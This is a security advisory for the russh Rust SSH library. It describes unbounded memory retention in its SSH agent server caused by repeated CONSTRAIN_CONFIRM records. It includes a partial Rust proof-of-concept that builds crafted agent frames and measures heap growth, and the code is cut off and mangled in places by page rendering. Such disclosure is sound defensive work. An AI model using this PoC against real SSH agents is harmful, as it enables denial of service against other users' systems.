GitHub Advisoryadvisory · crates.io

GHSA-9wfm-jcj8-jfv9 russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages

LOW Published 2026-10-30 Modified 2026-10-30 Official page ↗
Aliases
CVE-2026-116696
Ecosystem
crates.io
Packages
russh
Severity
Low
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-770
Reviewed
2026-10-30

Affected packages

• crates.io russh: < 0.65.0 → fixed in 0.65.0

Description

Summary All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment. The SSH agent server that ships with russh (`russh::keys::agent::server::serve`) parses client key-addition requests and, for each `SSH_AGENT_CONSTRAIN_CONFIRM` (0x02) record it finds, pushes one `Constraint::Confirm` value into a per-key vector inside an unbounded loop, then stores the resulting pair permanently in its keystore (`russh/src/keys/agent/server.rs:296-303`). Neither the constraint vector nor the keystore has a size or count limit: the only boundary is the 256 KiB agent frame cap, and every 1-byte record a client sends becomes a 56-byte enum retained for the life of the process. Any process that can connect to the agent socket - the same trust model the project itself established when fixing a prior advisory about this same request handler - can therefore grow the agent's memory without bound and renew the growth at will: six 256 KiB requests retained 72.4 MiB (about 12.1 MiB per request, a roughly 48-fold amplification) while an equal number of unconstrained key additions retained nothing, measured against the unmodified server through its public API on v0.64.1. The earlier fix for that prior advisory deduplicates only the sibling `SSH_AGENT_CONSTRAIN_LIFETIME` (0x01) record type and leaves this parallel variant untouched, and since constrained keys never expire the retained memory is never reclaimed. Details When a client adds a key with constraints, the server walks the constraint section byte by byte and collects typed values with no upper bound on how many it will accept: ```text russh/src/keys/agent/server.rs:296-297 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627) } else if t == msg::CONSTRAIN_CONFIRM { c.push(Constraint::Confirm) // inside the record loop, no length cap russh/src/keys/agent/server.rs:303-308 • the (key, timestamp, constraints) triple is inserted into the keystore, and keys without a LIFETIME constraint never expire ``` The `Constraint` enum is aligned to its largest variant, so each 1-byte `0x02` record on the wire costs 56 bytes of retained heap, and the frame cap of 256 KiB (`server.rs:23,109`) is the only thing shaping a single request - the number of requests, and the number of keys in the keystore, are unbounded. The project's fix for its prior agent advisory (commit 4c30503, shipped in 0.64.1) addressed the `SSH_AGENT_CONSTRAIN_LIFETIME` record by deduplicating lifetime entries and collapsing the per-record timer tasks; the `CONSTRAIN_CONFIRM` branch in the very same loop was left as-is, so the fixed release still accepts and retains arbitrary amounts of confirm records per key. The privilege model is the one the project used for the prior advisory: any local process able to connect to the agent's listening socket, which in agent-forwarding scenarios includes processes on the remote side of a forwarded session. Both file references are identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the confirm-record handling predates the fork that merged the keys crate, so all released versions are affected. Proof of concept The instance is the unmodified russh v0.64.1 agent server started through its public `russh::keys::agent::server::serve` API inside the PoC process, with the attacker leg and the control leg connecting over an in-process duplex socket exactly as a foreign local client would; the agent handler runs with default configuration and no test hooks. The harness measures live heap with a counting global allocator, generates a fresh Ed25519 key per request, and speaks the real agent framing (4-byte length prefix) with the server's own 256 KiB frame cap. Set the project up with the commands below (the retained run referenced the russh source checked out at tag v0.64.1 via a path dependency and built with the GNU toolchain because the machine lacks MSVC's linker; the crates.io `[email protected]` release is the same source and any stable toolchain works; on Windows the built binary carries an `.exe` extension). The full `src/main.rs` follows. ```bash cargo new poc_agent_confirm_growth cd poc_agent_confirm_growth cargo add [email protected] tokio --features tokio/full [email protected] [email protected] ``` ```rust cat > src/main.rs `c.push(Constraint::Confirm)` inside an unbounded loop, with //! no cap on the resulting per-key constraint vector and no cap on the number //! of keys in the keystore. //! //! Relationship to GHSA-4wc5-f2rc-q74m (fixed in 0.64.1): that advisory covered //! the SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record, whose fix (commit 4c30503) //! deduplicates lifetime records only. The parallel CONFIRM record variant is //! not covered: each 1-byte 0x02 record retains one 56-byte Constraint enum in //! the persistent keystore (>=50x amplification, never expires, renewable). //! //! Attack model (same as GHSA-4wc5): any local process able to connect to the //! agent's listening socket. No authentication on the socket by default. //! //! The attacker here only uses the socket (tokio duplex); the agent server //! runs unmodified via the public `russh::keys::agent::server::serve` API. use std::alloc::{GlobalAlloc, Layout, System}; use std::sync::atomic::{AtomicU64, Ordering}; use futures::stream::once; use tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream}; static LIVE: AtomicU64 = AtomicU64::new(0); struct Counting; unsafe impl GlobalAlloc for Counting { unsafe fn alloc(&self, layout: Layout) -> *mut u8 { let p = System.alloc(layout); if !p.is_null() { LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst); } p } unsafe fn dealloc(&self, p: *mut u8, layout: Layout) { LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst); System.dealloc(p, layout) } } [global_allocator] static A: Counting = Counting; fn live_mb() -> f64 { LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0) } fn fresh_key() -> russh::keys::PrivateKey { russh::keys::ssh_key::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519) .expect("keygen") } const FRAME_MAX: usize = 256 * 1024; // MAX_AGENT_FRAME_LEN in agent/server.rs fn frame(payload: &[u8]) -> Vec { let mut f = Vec::with_capacity(payload.len() + 4); f.extend_from_slice(&(payload.len() as u32).to_be_bytes()); f.extend_from_slice(payload); f } /// Build one ADD_IDENTITY (17) frame: no constraints (control leg). fn add_key_plain(key: &russh::keys::PrivateKey) -> Vec { use russh::keys::ssh_encoding::Encode; let mut p = vec![17u8]; // SSH_AGENTC_ADD_IDENTITY key.key_data().encode(&mut p).unwrap(); Vec::::new().encode(&mut p).unwrap(); // empty comment frame(&p) } /// Build one ADD_IDENTITY_CONSTRAINED (25) frame whose constraint section is /// `n` consecutive SSH_AGENT_CONSTRAIN_CONFIRM (0x02) records. fn add_key_confirm(key: &russh::keys::PrivateKey, n: usize) -> Vec { use russh::keys::ssh_encoding::Encode; let mut p = vec![25u8]; // SSH_AGENTC_ADD_IDENTITY_CONSTRAINED key.key_data().encode(&mut p).unwrap(); Vec::::new().encode(&mut p).unwrap(); // empty comment p.resize(p.len() + n, 0x02); frame(&p) } async fn round(conn: &mut DuplexStream, req: Vec) -> u8 { conn.write_all(&req).await.expect("write frame"); let mut resp = [0u8; 5]; conn.read_exact(&mut resp).await.expect("read reply"); resp[4] // SUCCESS(6) / FAILURE(5) after 4-byte length prefix } [tokio::main] async fn main() { println!("== poc_agent_confirm_growth…

Related

Alias · CVE (1)

  • CVE-2026-116696 russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References